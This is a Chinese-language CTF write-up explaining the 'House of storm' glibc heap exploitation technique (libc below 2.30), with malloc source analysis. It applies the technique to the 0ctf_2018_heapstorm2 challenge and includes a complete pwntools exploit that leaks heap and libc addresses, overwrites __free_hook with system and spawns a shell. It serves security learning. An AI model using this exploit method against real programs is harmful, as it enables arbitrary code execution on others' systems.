当前位置: 首页 > news >正文

House of storm

说在前面

  • 适用范围:libc2.30以下
  • 是一款组合技,利用开启了 PIE x64 程序的堆地址总是 0x55xxxx... 或者 0x56xxxx... 开头这一特性,使用一次 largebin attack 写两个堆地址,使用一次 unsortedbin attack 写一次libc地址,可以实现任意地址分配。虽然 house of storm 最后能达到任意地址分配,但是由于其所需的条件比较多,一般可以用其他更简便的堆利用技术代替。这种利用技巧和思路还是很值得学习的。

源码分析

以下是libc2.23 malloc.c源码片段,当分配一个堆块时会先从fastbinsmallbin中,若没有合适堆块,依次遍历unsorted bin,对大小不合适的堆块会从unsoredbin移入smallbinlargebin中,参见下述代码。

          /* place chunk in bin */if (in_smallbin_range (size)){victim_index = smallbin_index (size);bck = bin_at (av, victim_index);fwd = bck->fd;}else{victim_index = largebin_index (size);bck = bin_at (av, victim_index);fwd = bck->fd;/* maintain large bins in sorted order */if (fwd != bck){/* Or with inuse bit to speed comparisons */size |= PREV_INUSE;/* if smaller than smallest, bypass loop below */assert (chunk_main_arena (bck->bk));if ((unsigned long) (size)< (unsigned long) chunksize_nomask (bck->bk)){fwd = bck;bck = bck->bk;victim->fd_nextsize = fwd->fd;victim->bk_nextsize = fwd->fd->bk_nextsize;fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;}else{assert (chunk_main_arena (fwd));while ((unsigned long) size < chunksize_nomask (fwd)){fwd = fwd->fd_nextsize;assert (chunk_main_arena (fwd));}if ((unsigned long) size== (unsigned long) chunksize_nomask (fwd))/* Always insert in the second position.  */fwd = fwd->fd;else{victim->fd_nextsize = fwd;victim->bk_nextsize = fwd->bk_nextsize;fwd->bk_nextsize = victim;victim->bk_nextsize->fd_nextsize = victim;}bck = fwd->bk;}}elsevictim->fd_nextsize = victim->bk_nextsize = victim;}mark_bin (av, victim_index);victim->bk = bck;victim->fd = fwd;fwd->bk = victim;bck->fd = victim;

关键代码

				 ......victim->fd_nextsize = fwd;victim->bk_nextsize = fwd->bk_nextsize;fwd->bk_nextsize = victim;victim->bk_nextsize->fd_nextsize = victim;}bck = fwd->bk;}}......mark_bin (av, victim_index);victim->bk = bck;victim->fd = fwd;fwd->bk = victim;bck->fd = victim;

利用手法

变量说明

  • 把要从unsortedbin放入largebinchunk称作chunk_A,也就是关键代码中的victim
  • fwd是当前largebin链表中第一个大小不大于chunk_A的,下面称为chunk_B

Large bin attack

  • 修改chunk_B->bk=addr1-0x10
  • 修改chunk_B->bk_nextsize=addr2-0x20

带入上述代码进行计算,最终效果就是

  • addr1=chunk_A
  • addr2=chunk_A
    addr1,addr2都被赋值为chunk_B header地址,是个很大的数,效果类似于unsorted bin attack

House of storm

攻击姿势:

  • 假设需要攻击的地址是fake_chunk=addr-0x20
  • 修改chunk_A->bk=fake_chunk
  • 修改`chunk_B->bk=fake_chunk-0x18
  • 修改`chunk_B->bk_nextsize=fake_chunk-0x20+0x3

此时当我们申请一个0x50的堆块,unsorted bin的那个堆块会被放入large bin中, 达到的效果:

					 ......victim->fd_nextsize = fwd;victim->bk_nextsize = fwd->bk_nextsize;fwd->bk_nextsize = victim;victim->bk_nextsize->fd_nextsize = victim;//chunk_A->fd_nextsize=chunk_B;//chunk_A->bk_nextsize=addr-0x20-0x20+0x3//addr-0x20-0x20+0x3=chunk_A//addr-0x20-0x20+0x3+0x20=addr-0x20+0x3 = chunk_B}bck = fwd->bk;//bck=addr-0x18}}......mark_bin (av, victim_index);victim->bk = bck;victim->fd = fwd;fwd->bk = victim;bck->fd = victim;//addr-0x18=bck;//chunk_B->fd=chunk_A;//addr=chunk_A;//addr-0x18+0x10=addr-0x8=chunk_A;
  • unsortedbin attack
    • addr-0x10被写入main_arena+88(在此攻击手段中用处不大)
  • largebin attack
    • addr-0x8addr-0x20+0x3被写入chunk_A的地址

最终addr-0x18处被写入了0x550x56,相当于伪造了size,申请0x50的堆块即位于addr-0x20处,此时需要访问到fake chunk的bk指针指向的地址(bck->fd = victim),因此需要其为一个有效的地址,这就解释了设置large binbk的目的。

最后需要说明的是,当开了地址随机化ASLR之后,堆块的地址最高位只可能是0x550x56,而只有当最高位为0x56的时候,上述攻击方式才能生效,这里其实和伪造0x7f而用0x7_后面加上其他某个数可能就不行的原因一样,是由于__libc_malloc中有这么一句断言:

assert(!victim || chunk_is_mmapped(mem2chunk(victim))|| ar_ptr == arena_for_chunk(mem2chunk(victim)));

过上述检测需要满足以下一条即可:

  • victim 为 0 (没有申请到内存)
  • IS_MMAPPED 为 1 (是mmap的内存)
  • NON_MAIN_ARENA为 0 (申请到的内存必须在其所分配的arena中)
    而此时由于是伪造在别处的堆块,不满足我们常规需要满足的第三个条件,因此必须要满足第二个条件了,查看宏定义#define IS_MMAPPED 0x2,#define chunk_is_mmapped(p) ((p)->size & IS_MMAPPED)可知,需要size & 0x2不为0才能通过mmap的判断。

值得一提的是,由于addr-0x8被写入了chunk_A地址,因此最终在fake chunk被返还给用户后,unsorted bin中仍有chunk_A地址所对应的堆块(已经被放入了large bin中),且其fd域被写入了main_arena+88

例题

  • 题目来源:buu-0ctf_2018_heapstorm2
  • libc2.23

代码分析

题目开了全保护,审计代码,有add,edit,show,delete函数,存储chunk 指针和size的数组用一组随机数异或存储,

__int64 my_init()
{__int64 v0; // raxint i; // [rsp+8h] [rbp-18h]int fd; // [rsp+Ch] [rbp-14h]setvbuf(stdin, 0, 2, 0);setvbuf(stdout, 0, 2, 0);alarm(0x3Cu);puts("    __ __ _____________   __   __    ___    ____\n""   / //_// ____/ ____/ | / /  / /   /   |  / __ )\n""  / ,<  / __/ / __/ /  |/ /  / /   / /| | / __  |\n"" / /| |/ /___/ /___/ /|  /  / /___/ ___ |/ /_/ /\n""/_/ |_/_____/_____/_/ |_/  /_____/_/  |_/_____/\n");puts("===== HEAP STORM II =====");if ( !mallopt(1, 0) )exit(-1);if ( mmap((void *)0x13370000, 0x1000u, 3, 34, -1, 0) != (void *)322371584 )exit(-1);fd = open("/dev/urandom", 0);if ( fd < 0 )exit(-1);if ( read(fd, (void *)0x13370800, 0x18u) != 24 )exit(-1);close(fd);MEMORY[0x13370818] = MEMORY[0x13370810];for ( i = 0; i <= 15; ++i ){*(_QWORD *)(16 * (i + 2LL) + 0x13370800) = xor_ptr(0x13370800, 0);xor_size(0x13370800, 0);*(_QWORD *)(16 * (i + 2LL) + 0x13370808) = v0;}return 0x13370800;
}

以上我们可知,数组地址是绝对地址0x13370800,0x133708180x13370810初始值相同
继续审计,发现漏洞在update函数里

  strcpy((char *)(size + v6), "HEAPSTORM_II");

off bu null
view函数里有一个检查

 if ( (*(_QWORD *)(a1 + 24) ^ *(_QWORD *)(a1 + 16)) != 322401073 )return puts("Permission denied");

我们要修改0x133708180x13370810这两处的值

利用思路

以下是个逆向的思路

  • 可以修改free_hooksystem
    • 泄露libc地址
      • view函数泄露
        • 修改0x133708180x13370810这两处的值
    • free_hook函数连接到记录chunk的数组中
  • 0x13370800附近构造一个fake_chunk,即可实现上述目的
  • 利用两次off by null构造unsorted bin attack large bin attack,构造一个fake_chunk

exp:

from pwn import *context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('./0ctf_2018_heapstorm2')
libc = ELF('/home/yaaaa/study/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')def alloc(size):p.sendlineafter(b'Command: ', b'1')p.sendlineafter(b'Size: ', str(size).encode())def update(idx, size, contnt):p.sendlineafter(b'Command: ', b'2')p.sendlineafter(b'Index: ', str(idx).encode())p.sendlineafter(b'Size: ', str(size).encode())p.sendafter(b'Content: ', contnt)def delete(idx):p.sendlineafter(b'Command: ', b'3')p.sendlineafter(b'Index: ', str(idx).encode())def view(idx):p.sendlineafter(b'Command: ', b'4')p.sendlineafter(b'Index: ', str(idx).encode())while True:p=process('./0ctf_2018_heapstorm2')addr = 0x13370800alloc(0x18)#0alloc(0x508)#1alloc(0x18)#2alloc(0x18)#3alloc(0x508)#4   0x555555a01570alloc(0x18)#5alloc(0x18)#6update(1,0x4f8,b'a'*0x4f0+p64(0x500))delete(1)update(0,0x18-12,b'a'*(0x18-12))alloc(0x18)#1alloc(0x4d8)#7# alloc(0x18)#8delete(1)delete(2)# alloc(0x18)#1# alloc(0x1000)#2alloc(0x38) #1alloc(0x4e8)  #2  # #largebin_attackupdate(4,0x4f8,b'a'*0x4f0+p64(0x500))delete(4)update(3,0x18-12,b'a'*(0x18-12))alloc(0x18)#4alloc(0x4d8)#8# alloc(0x18)#5delete(4)delete(5) alloc(0x48)delete(2)alloc(0x4e8)#2delete(2)fake_chunk = addr-0x20pal1 = p64(0) * 2 + p64(0) + p64(0x4f1)pal1 += p64(0) + p64(fake_chunk)pal2 = p64(0) * 4 + p64(0) + p64(0x4e1)pal2 += p64(0) + p64(fake_chunk+0x8)pal2 += p64(0) + p64(fake_chunk-0x18-5)update(7, len(pal1), pal1)update(8, len(pal2), pal2)try:alloc(0x48)#2pal3 = p64(0) * 5 + p64(0x13377331) + p64(addr)update(2, len(pal3), pal3)pal4=p64(0)*3+p64(0x13377331)+p64(addr)+p64(0x1000)pal4+=p64(0x133707e3)+p64(0x8)update(0,len(pal4),pal4)except:p.close()continueview(1)p.recvuntil(b'Chunk[1]: ')heap=u64(p.recv(6).ljust(8,b'\x00'))log.info('heap:'+hex(heap))pal5=p64(0)*3+p64(0x13377331)+p64(addr)+p64(0x1000)pal5+=p64(heap+0x10)+p64(0x8)update(0,len(pal5),pal5)view(1)p.recvuntil(b'Chunk[1]: ')libc_addr=u64(p.recv(6).ljust(8,b'\x00'))-0x3c4b78log.info('libc_addr:'+hex(libc_addr))free_hook=libc_addr+libc.symbols['__free_hook']system=libc_addr+libc.symbols['system']log.info('free_hook:'+hex(free_hook))log.info('system:'+hex(system))pal6=p64(0)*3+p64(0x13377331)+p64(addr)+p64(0x1000)pal6+=p64(free_hook)+p64(0x8)+p64(heap+0x560+0x10)+p64(0x8)update(0,len(pal6),pal6)bin_sh=b'/bin/sh\x00'update(2,len(bin_sh),bin_sh)pal7=p64(system)update(1,len(pal7),pal7)# pal7=p64(0)*3+p64(0x13377331)+p64(addr)+p64(0x1000)# pal7+=p64(free_hook)+p64(0x8)+p64(heap+0x560)+p64(0x4e1)# update(0,len(pal7),pal7)delete(2)# gdb.attach(p)p.interactive()break

参考文章

https://bbs.kanxue.com/thread-272098-1.htm#msg_header_h3_12
https://fu9-dotom.github.io/p/house-of-stormbuu-0ctf_2018_heapstorm2/#利用思路

http://www.jsqmd.com/news/727289/

相关文章:

  • 国内穿孔板厂家实力排行 基于场景适配与供货能力评定 - 奔跑123
  • NPU内核开发优化与AscendKernelGen实践
  • 如何快速搭建docker-wechatbot-webhook:5分钟从零到实战
  • 5个能让你从总监办公室笑着走出来的救命命令
  • 2026年福建消防工程技术机构精选名单 - 品牌策略师
  • 猫抓Cat-Catch完整教程:5分钟学会浏览器资源嗅探与下载
  • 如何让微信聊天记录成为你的数字记忆宝库?
  • (6/10)电子技术-杂七杂八
  • 避开这些坑!《标日初级》前12课单词学习中最常见的5个误区与纠正方法
  • Flutter Launcher Icons配置模板详解:XML、HTML和图标资源生成原理
  • Steam游戏自动破解工具:如何一键解除Steam DRM限制
  • SQL开窗函数
  • 零失败交付指南:Frappe测试框架的单元与集成测试全流程
  • 3分钟掌握Adobe Illustrator批量替换技巧:ReplaceItems脚本完全指南
  • Docker GitHub Actions Runner 高级配置:企业级安全与多架构支持实践
  • Oracle 创建视图报错:列名不唯一
  • 情绪化AI调教师认证:引领测试从业者的职业新赛道
  • Marmot监控与运维:Prometheus指标收集与告警设置全指南
  • LRC乐山无线电原装一级代理分销经销
  • 河北冲孔网厂家排行:五家实体厂商实力对比 - 奔跑123
  • ROFL播放器终极指南:一键解决英雄联盟回放版本限制问题
  • Nature性能优化技巧:10个提升应用性能的实用方法
  • 数控编程Mastercam 2026百度云盘下载与安装教程指南
  • SQL示例:为什么薪资表需要关联多次
  • 4月30日成都地区正大产镀锌钢管(Q235B;内径DN15-200mm)批发价格 - 四川盛世钢联营销中心
  • FastUI终极指南:无需JavaScript的React应用开发新范式
  • Oxy Forward中间件详解:如何实现高效的HTTP请求转发和头部重写
  • 2026年知网AI检测杀疯了?论文党亲测6招救命攻略必收藏! - 降AI实验室
  • SpringBoot+Vue微信小程序图片上传与展示全流程(含本地服务器配置)
  • 第3章 C程序的基本结构【20260430-001篇】